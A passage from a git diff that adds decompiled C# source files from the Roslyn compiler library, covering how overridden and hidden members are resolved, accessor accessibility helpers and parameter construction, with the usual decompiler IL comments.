accessor.ContainingType) && isAccessorOverride(accessor, methodSymbol)) + { + FindRelatedMembers(accessor.IsOverride, accessorIsFromSomeCompilation, accessor.Kind, methodSymbol, out overriddenMembers, ref builder); + } + ImmutableArray hiddenMembers = builder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + return OverriddenOrHiddenMembersResult.Create(overriddenMembers, hiddenMembers); + bool isAccessorOverride(MethodSymbol methodSymbol4, MethodSymbol overriddenAccessor) + { + if (accessorIsFromSomeCompilation) + { + return MemberSignatureComparer.CSharpAccessorOverrideComparer.Equals(methodSymbol4, overriddenAccessor); + } + if (overriddenAccessor.Equals(KnownOverriddenClassMethod(methodSymbol4), (TypeCompareKind)63)) + { + return true; + } + return MemberSignatureComparer.RuntimeSignatureComparer.Equals(methodSymbol4, overriddenAccessor); + } + } + + private static OverriddenOrHiddenMembersResult MakeEventAccessorOverriddenOrHiddenMembers(MethodSymbol accessor, EventSymbol associatedEvent) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + bool flag = (int)accessor.MethodKind == 5; + MethodSymbol methodSymbol = null; + ArrayBuilder builder = null; + OverriddenOrHiddenMembersResult overriddenOrHiddenMembers = associatedEvent.OverriddenOrHiddenMembers; + ImmutableArray.Enumerator enumerator = overriddenOrHiddenMembers.HiddenMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 5) + { + EventSymbol eventSymbol = (EventSymbol)current; + MethodSymbol methodSymbol2 = (flag ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + if ((object)methodSymbol2 != null) + { + AccessOrGetInstance(ref builder).Add((Symbol)methodSymbol2); + } + } + } + if (overriddenOrHiddenMembers.OverriddenMembers.Any()) + { + MethodSymbol ownOrInheritedAccessor = ((EventSymbol)overriddenOrHiddenMembers.OverriddenMembers[0]).GetOwnOrInheritedAccessor(flag); + if ((object)ownOrInheritedAccessor != null) + { + methodSymbol = ownOrInheritedAccessor; + } + } + bool dangerous_IsFromSomeCompilation = accessor.Dangerous_IsFromSomeCompilation; + ImmutableArray overriddenMembers = ImmutableArray.Empty; + if ((object)methodSymbol != null && IsOverriddenSymbolAccessible(methodSymbol, accessor.ContainingType) && (dangerous_IsFromSomeCompilation ? MemberSignatureComparer.CSharpAccessorOverrideComparer.Equals(accessor, methodSymbol) : MemberSignatureComparer.RuntimeSignatureComparer.Equals(accessor, methodSymbol))) + { + FindRelatedMembers(accessor.IsOverride, dangerous_IsFromSomeCompilation, accessor.Kind, methodSymbol, out overriddenMembers, ref builder); + } + ImmutableArray hiddenMembers = builder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + return OverriddenOrHiddenMembersResult.Create(overriddenMembers, hiddenMembers); + } + + internal static OverriddenOrHiddenMembersResult MakeInterfaceOverriddenOrHiddenMembers(Symbol member, bool memberIsFromSomeCompilation) + { + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = member.ContainingType; + PooledHashSet instance = PooledHashSet.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ArrayBuilder builder = null; + ImmutableArray.Enumerator enumerator = containingType.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (((HashSet)(object)instance2).Contains(current)) + { + continue; + } + FindOverriddenOrHiddenMembersInType(member, memberIsFromSomeCompilation, containingType, null, current, out var currTypeBestMatch, out var currTypeHasSameKindNonMatch, out var hiddenBuilder); + bool flag = (object)currTypeBestMatch != null; + if (flag) + { + ImmutableArray.Enumerator enumerator2 = current.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + ((HashSet)(object)instance2).Add(current2); + } + AccessOrGetInstance(ref builder).Add(currTypeBestMatch); + } + if (hiddenBuilder != null) + { + if (!((HashSet)(object)instance).Contains(current)) + { + if (!flag) + { + ImmutableArray.Enumerator enumerator2 = current.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current3 = enumerator2.Current; + ((HashSet)(object)instance2).Add(current3); + } + } + AccessOrGetInstance(ref builder).AddRange(hiddenBuilder); + } + hiddenBuilder.Free(); + } + else if (currTypeHasSameKindNonMatch && !flag) + { + ImmutableArray.Enumerator enumerator2 = current.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current4 = enumerator2.Current; + ((HashSet)(object)instance).Add(current4); + } + } + } + instance.Free(); + instance2.Free(); + ImmutableArray overriddenMembers = ImmutableArray.Empty; + if (builder != null) + { + ArrayBuilder hiddenBuilder2 = null; + Enumerator enumerator3 = builder.GetEnumerator(); + while (enumerator3.MoveNext()) + { + Symbol current5 = enumerator3.Current; + FindRelatedMembers(member.IsOverride, memberIsFromSomeCompilation, member.Kind, current5, out overriddenMembers, ref hiddenBuilder2); + } + builder.Free(); + builder = hiddenBuilder2; + } + ImmutableArray hiddenMembers = builder?.ToImmutableAndFree() ?? ImmutableArray.Empty; + return OverriddenOrHiddenMembersResult.Create(overriddenMembers, hiddenMembers); + } + + private static void FindOverriddenOrHiddenMembersInType(Symbol member, bool memberIsFromSomeCompilation, NamedTypeSymbol memberContainingType, Symbol knownOverriddenMember, NamedTypeSymbol currType, out Symbol currTypeBestMatch, out bool currTypeHasSameKindNonMatch, out ArrayBuilder hiddenBuilder) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0163: Invalid comparison between Unknown and I4 + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + //IL_016c: Invalid comparison between Unknown and I4 + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Invalid comparison between Unknown and I4 + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Invalid comparison between Unknown and I4 + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Invalid comparison between Unknown and I4 + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Unknown result type (might be due to invalid IL or missing references) + currTypeBestMatch = null; + currTypeHasSameKindNonMatch = false; + hiddenBuilder = null; + bool flag = false; + int num = int.MaxValue; + IEqualityComparer equalityComparer = (memberIsFromSomeCompilation ? MemberSignatureComparer.CSharpCustomModifierOverrideComparer : MemberSignatureComparer.RuntimePlusRefOutSignatureComparer); + IEqualityComparer equalityComparer2 = (memberIsFromSomeCompilation ? MemberSignatureComparer.CSharpOverrideComparer : MemberSignatureComparer.RuntimeSignatureComparer); + SymbolKind kind = member.Kind; + int memberArity = member.GetMemberArity(); + ImmutableArray.Enumerator enumerator = currType.GetMembers(member.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!IsOverriddenSymbolAccessible(current, memberContainingType) || (current.IsAccessor() && !((MethodSymbol)current).IsIndexedPropertyAccessor())) + { + continue; + } + if (current.Kind != kind) + { + int memberArity2 = current.GetMemberArity(); + if (memberArity2 == memberArity || ((int)kind == 9 && memberArity2 == 0)) + { + AddHiddenMemberIfApplicable(ref hiddenBuilder, kind, current); + } + } + else + { + if (flag) + { + continue; + } + if ((int)kind != 6) + { + if ((int)kind == 11) + { + if (current.GetMemberArity() == memberArity) + { + flag = true; + currTypeBestMatch = current; + } + } + else if (current.Equals(knownOverriddenMember, (TypeCompareKind)63)) + { + flag = true; + currTypeBestMatch = current; + } + else + { + if (!(knownOverriddenMember == null)) + { + continue; + } + if (equalityComparer.Equals(member, current)) + { + flag = true; + currTypeBestMatch = current; + } + else if (equalityComparer2.Equals(member, current)) + { + int num2 = CustomModifierCount(current); + if (num2 < num) + { + num = num2; + currTypeBestMatch = current; + } + } + else + { + currTypeHasSameKindNonMatch = true; + } + } + } + else + { + flag = true; + currTypeBestMatch = current; + } + } + } + if ((int)kind == 6 || (int)kind == 11 || !(flag && memberIsFromSomeCompilation) || !member.IsDefinition || !TypeOrReturnTypeHasCustomModifiers(currTypeBestMatch)) + { + return; + } + Symbol symbol = currTypeBestMatch; + enumerator = currType.GetMembers(member.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + if (current2.Kind == currTypeBestMatch.Kind && (object)current2 != currTypeBestMatch && MemberSignatureComparer.CSharpOverrideComparer.Equals(current2, currTypeBestMatch)) + { + int num3 = CustomModifierCount(current2); + if (num3 < num) + { + num = num3; + symbol = current2; + } + } + } + currTypeBestMatch = symbol; + } + + private static void FindRelatedMembers(bool isOverride, bool overridingMemberIsFromSomeCompilation, SymbolKind overridingMemberKind, Symbol representativeMember, out ImmutableArray overriddenMembers, ref ArrayBuilder hiddenBuilder) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + overriddenMembers = ImmutableArray.Empty; + if ((object)representativeMember == null) + { + return; + } + bool flag = (int)representativeMember.Kind != 6 && (int)representativeMember.Kind != 11 && (!representativeMember.ContainingType.IsDefinition || representativeMember.IsIndexer()); + if (isOverride) + { + if (flag) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add(representativeMember); + FindOtherOverriddenMethodsInContainingType(representativeMember, overridingMemberIsFromSomeCompilation, instance); + overriddenMembers = instance.ToImmutableAndFree(); + } + else + { + overriddenMembers = ImmutableArray.Create(representativeMember); + } + } + else + { + AddHiddenMemberIfApplicable(ref hiddenBuilder, overridingMemberKind, representativeMember); + if (flag) + { + FindOtherHiddenMembersInContainingType(overridingMemberKind, representativeMember, ref hiddenBuilder); + } + } + } + + private static void AddHiddenMemberIfApplicable(ref ArrayBuilder hiddenBuilder, SymbolKind hidingMemberKind, Symbol hiddenMember) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if ((int)hiddenMember.Kind != 9 || ((MethodSymbol)hiddenMember).CanBeHiddenByMemberKind(hidingMemberKind)) + { + AccessOrGetInstance(ref hiddenBuilder).Add(hiddenMember); + } + } + + private static ArrayBuilder AccessOrGetInstance(ref ArrayBuilder builder) + { + if (builder == null) + { + builder = ArrayBuilder.GetInstance(); + } + return builder; + } + + private static void FindOtherOverriddenMethodsInContainingType(Symbol representativeMember, bool overridingMemberIsFromSomeCompilation, ArrayBuilder overriddenBuilder) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + int num = -1; + ImmutableArray.Enumerator enumerator = representativeMember.ContainingType.GetMembers(representativeMember.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.Kind != representativeMember.Kind || !(current != representativeMember)) + { + continue; + } + if (overridingMemberIsFromSomeCompilation) + { + if (num < 0) + { + num = representativeMember.CustomModifierCount(); + } + if (MemberSignatureComparer.CSharpOverrideComparer.Equals(current, representativeMember) && current.CustomModifierCount() == num) + { + overriddenBuilder.Add(current); + } + } + else if (MemberSignatureComparer.CSharpCustomModifierOverrideComparer.Equals(current, representativeMember)) + { + overriddenBuilder.Add(current); + } + } + } + + private static void FindOtherHiddenMembersInContainingType(SymbolKind hidingMemberKind, Symbol representativeMember, ref ArrayBuilder hiddenBuilder) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + IEqualityComparer cSharpCustomModifierOverrideComparer = MemberSignatureComparer.CSharpCustomModifierOverrideComparer; + ImmutableArray.Enumerator enumerator = representativeMember.ContainingType.GetMembers(representativeMember.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.Kind == representativeMember.Kind && current != representativeMember && cSharpCustomModifierOverrideComparer.Equals(current, representativeMember)) + { + AddHiddenMemberIfApplicable(ref hiddenBuilder, hidingMemberKind, current); + } + } + } + + private static bool CanOverrideOrHide(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)member; + if (MethodSymbol.CanOverrideOrHide(methodSymbol.MethodKind)) + { + return (object)methodSymbol == methodSymbol.ConstructedFrom; + } + return false; + } + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + } + return !member.IsExplicitInterfaceImplementation(); + } + + private static bool TypeOrReturnTypeHasCustomModifiers(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)member; + TypeWithAnnotations typeWithAnnotations = propertySymbol.TypeWithAnnotations; + if (!typeWithAnnotations.CustomModifiers.Any() && !propertySymbol.RefCustomModifiers.Any()) + { + return typeWithAnnotations.Type.HasCustomModifiers(flagNonDefaultArraySizesOrLowerBounds: false); + } + return true; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + MethodSymbol methodSymbol = (MethodSymbol)member; + TypeWithAnnotations returnTypeWithAnnotations = methodSymbol.ReturnTypeWithAnnotations; + if (!returnTypeWithAnnotations.CustomModifiers.Any() && !methodSymbol.RefCustomModifiers.Any()) + { + return returnTypeWithAnnotations.Type.HasCustomModifiers(flagNonDefaultArraySizesOrLowerBounds: false); + } + return true; + } + return ((EventSymbol)member).Type.HasCustomModifiers(flagNonDefaultArraySizesOrLowerBounds: false); + } + + private static int CustomModifierCount(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).CustomModifierCount(); + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).CustomModifierCount(); + } + return ((EventSymbol)member).Type.CustomModifierCount(); + } + + internal static bool RequiresExplicitOverride(this MethodSymbol method, out bool warnAmbiguous) + { + warnAmbiguous = false; + if (!method.IsOverride) + { + return false; + } + MethodSymbol overriddenMethod = method.OverriddenMethod; + if ((object)overriddenMethod == null) + { + return false; + } + bool wasAmbiguous; + MethodSymbol firstRuntimeOverriddenMethodIgnoringNewSlot = method.GetFirstRuntimeOverriddenMethodIgnoringNewSlot(out wasAmbiguous); + if (overriddenMethod == firstRuntimeOverriddenMethodIgnoringNewSlot && !wasAmbiguous) + { + return false; + } + if (method.ContainingAssembly.RuntimeSupportsCovariantReturnsOfClasses) + { + return true; + } + if (!method.ReturnType.Equals(overriddenMethod.ReturnType, (TypeCompareKind)63)) + { + return true; + } + if (!overriddenMethod.MethodHasRuntimeCollision()) + { + return true; + } + bool flag = overriddenMethod.IsDefinition || overriddenMethod.OriginalDefinition.MethodHasRuntimeCollision(); + warnAmbiguous = !flag; + if (!overriddenMethod.ContainingType.Equals(firstRuntimeOverriddenMethodIgnoringNewSlot.ContainingType, (TypeCompareKind)62)) + { + return true; + } + if (overriddenMethod != firstRuntimeOverriddenMethodIgnoringNewSlot) + { + return method.IsAccessor() != firstRuntimeOverriddenMethodIgnoringNewSlot.IsAccessor(); + } + return false; + } + + internal static bool MethodHasRuntimeCollision(this MethodSymbol method) + { + ImmutableArray.Enumerator enumerator = method.ContainingType.GetMembers(method.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current != method && MemberSignatureComparer.RuntimeSignatureComparer.Equals(current, method)) + { + return true; + } + } + return false; + } + + internal static MethodSymbol GetFirstRuntimeOverriddenMethodIgnoringNewSlot(this MethodSymbol method, out bool wasAmbiguous) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + wasAmbiguous = false; + if (!method.IsMetadataVirtual(ignoreInterfaceImplementationChanges: true) || method.IsStatic) + { + return null; + } + NamedTypeSymbol containingType = method.ContainingType; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + MethodSymbol methodSymbol = null; + ImmutableArray.Enumerator enumerator = baseTypeNoUseSiteDiagnostics.GetMembers(method.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 9 || !IsOverriddenSymbolAccessible(current, containingType) || !MemberSignatureComparer.RuntimeSignatureComparer.Equals(method, current)) + { + continue; + } + MethodSymbol methodSymbol2 = (MethodSymbol)current; + if (methodSymbol2.IsMetadataVirtual(ignoreInterfaceImplementationChanges: true)) + { + if ((object)methodSymbol != null) + { + wasAmbiguous = true; + return methodSymbol; + } + methodSymbol = methodSymbol2; + } + } + if ((object)methodSymbol != null) + { + return methodSymbol; + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + return null; + } + + private static bool IsOverriddenSymbolAccessible(Symbol overridden, NamedTypeSymbol overridingContainingType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return AccessCheck.IsSymbolAccessible(overridden.OriginalDefinition, overridingContainingType.OriginalDefinition, ref useSiteInfo); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenOrHiddenMembersResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenOrHiddenMembersResult.cs new file mode 100644 index 0000000..899e091 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/OverriddenOrHiddenMembersResult.cs @@ -0,0 +1,70 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class OverriddenOrHiddenMembersResult +{ + public static readonly OverriddenOrHiddenMembersResult Empty = new OverriddenOrHiddenMembersResult(ImmutableArray.Empty, ImmutableArray.Empty); + + private readonly ImmutableArray _overriddenMembers; + + private readonly ImmutableArray _hiddenMembers; + + public ImmutableArray OverriddenMembers => _overriddenMembers; + + public ImmutableArray HiddenMembers => _hiddenMembers; + + private OverriddenOrHiddenMembersResult(ImmutableArray overriddenMembers, ImmutableArray hiddenMembers) + { + _overriddenMembers = overriddenMembers; + _hiddenMembers = hiddenMembers; + } + + public static OverriddenOrHiddenMembersResult Create(ImmutableArray overriddenMembers, ImmutableArray hiddenMembers) + { + if (overriddenMembers.IsEmpty && hiddenMembers.IsEmpty) + { + return Empty; + } + return new OverriddenOrHiddenMembersResult(overriddenMembers, hiddenMembers); + } + + internal static Symbol GetOverriddenMember(Symbol substitutedOverridingMember, Symbol overriddenByDefinitionMember) + { + if ((object)overriddenByDefinitionMember != null) + { + NamedTypeSymbol containingType = overriddenByDefinitionMember.ContainingType; + NamedTypeSymbol originalDefinition = containingType.OriginalDefinition; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = substitutedOverridingMember.ContainingType.BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + if (TypeSymbol.Equals(baseTypeNoUseSiteDiagnostics.OriginalDefinition, originalDefinition, (TypeCompareKind)0)) + { + if (TypeSymbol.Equals(baseTypeNoUseSiteDiagnostics, containingType, (TypeCompareKind)0)) + { + return overriddenByDefinitionMember; + } + return overriddenByDefinitionMember.OriginalDefinition.SymbolAsMember(baseTypeNoUseSiteDiagnostics); + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/OverriddenOrHiddenMembersResult.cs", 77); + } + return null; + } + + internal Symbol GetOverriddenMember() + { + ImmutableArray.Enumerator enumerator = _overriddenMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsAbstract || current.IsVirtual || current.IsOverride) + { + return current; + } + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PEPropertyOrEventHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PEPropertyOrEventHelpers.cs new file mode 100644 index 0000000..5e5900a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PEPropertyOrEventHelpers.cs @@ -0,0 +1,83 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class PEPropertyOrEventHelpers +{ + internal static ISet GetPropertiesForExplicitlyImplementedAccessor(MethodSymbol accessor) + { + return GetSymbolsForExplicitlyImplementedAccessor(accessor); + } + + internal static ISet GetEventsForExplicitlyImplementedAccessor(MethodSymbol accessor) + { + return GetSymbolsForExplicitlyImplementedAccessor(accessor); + } + + private static ISet GetSymbolsForExplicitlyImplementedAccessor(MethodSymbol accessor) where T : Symbol + { + if ((object)accessor == null) + { + return SpecializedCollections.EmptySet(); + } + ImmutableArray explicitInterfaceImplementations = accessor.ExplicitInterfaceImplementations; + if (explicitInterfaceImplementations.Length == 0) + { + return SpecializedCollections.EmptySet(); + } + HashSet hashSet = new HashSet(); + ImmutableArray.Enumerator enumerator = explicitInterfaceImplementations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.AssociatedSymbol is T item) + { + hashSet.Add(item); + } + } + return hashSet; + } + + internal static Accessibility GetDeclaredAccessibilityFromAccessors(MethodSymbol accessor1, MethodSymbol accessor2) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + if ((object)accessor1 == null) + { + return (Accessibility)(((_003F?)accessor2?.DeclaredAccessibility) ?? 0); + } + if ((object)accessor2 == null) + { + return accessor1.DeclaredAccessibility; + } + return GetDeclaredAccessibilityFromAccessors(accessor1.DeclaredAccessibility, accessor2.DeclaredAccessibility); + } + + internal static Accessibility GetDeclaredAccessibilityFromAccessors(Accessibility accessibility1, Accessibility accessibility2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + Accessibility val = ((accessibility1 > accessibility2) ? accessibility2 : accessibility1); + Accessibility val2 = ((accessibility1 > accessibility2) ? accessibility1 : accessibility2); + if ((int)val != 3 || (int)val2 != 4) + { + return val2; + } + return (Accessibility)5; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..34612ea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterEarlyWellKnownAttributeData.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ParameterEarlyWellKnownAttributeData : CommonParameterEarlyWellKnownAttributeData +{ + private bool _hasUnscopedRefAttribute; + + public bool HasUnscopedRefAttribute + { + get + { + return _hasUnscopedRefAttribute; + } + set + { + _hasUnscopedRefAttribute = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterHelpers.cs new file mode 100644 index 0000000..a720ce8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ParameterHelpers.cs @@ -0,0 +1,957 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ParameterHelpers +{ + public static ImmutableArray MakeParameters(Binder withTypeParametersBinder, Symbol owner, BaseParameterListSyntax syntax, out SyntaxToken arglistToken, BindingDiagnosticBag diagnostics, bool allowRefOrOut, bool allowThis, bool addRefReadOnlyModifier) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return MakeParameters(withTypeParametersBinder, owner, syntax.Parameters, out arglistToken, diagnostics, allowRefOrOut, allowThis, addRefReadOnlyModifier, suppressUseSiteDiagnostics: false, syntax.Parameters.Count - 1, (Binder context, Symbol owner2, TypeWithAnnotations parameterType, ParameterSyntax parameterSyntax, RefKind refKind, int ordinal, SyntaxToken paramsKeyword, SyntaxToken thisKeyword, bool addRefReadOnlyModifier2, ScopedKind scope, BindingDiagnosticBag declarationDiagnostics) => SourceParameterSymbol.Create(context, owner2, parameterType, parameterSyntax, refKind, parameterSyntax.Identifier, ordinal, paramsKeyword.Kind() != SyntaxKind.None, ordinal == 0 && thisKeyword.Kind() != SyntaxKind.None, addRefReadOnlyModifier2, scope, declarationDiagnostics)); + } + + public static ImmutableArray MakeFunctionPointerParameters(Binder binder, FunctionPointerMethodSymbol owner, SeparatedSyntaxList parametersList, BindingDiagnosticBag diagnostics, bool suppressUseSiteDiagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken arglistToken; + return MakeParameters(binder, owner, parametersList, out arglistToken, diagnostics, allowRefOrOut: true, allowThis: false, addRefReadOnlyModifier: true, suppressUseSiteDiagnostics, parametersList.Count - 2, delegate(Binder binder2, FunctionPointerMethodSymbol containingSymbol, TypeWithAnnotations parameterType, FunctionPointerParameterSyntax syntax, RefKind refKind, int ordinal, SyntaxToken paramsKeyword, SyntaxToken thisKeyword, bool addRefReadOnlyModifier, ScopedKind scope, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected I4, but got Unknown + 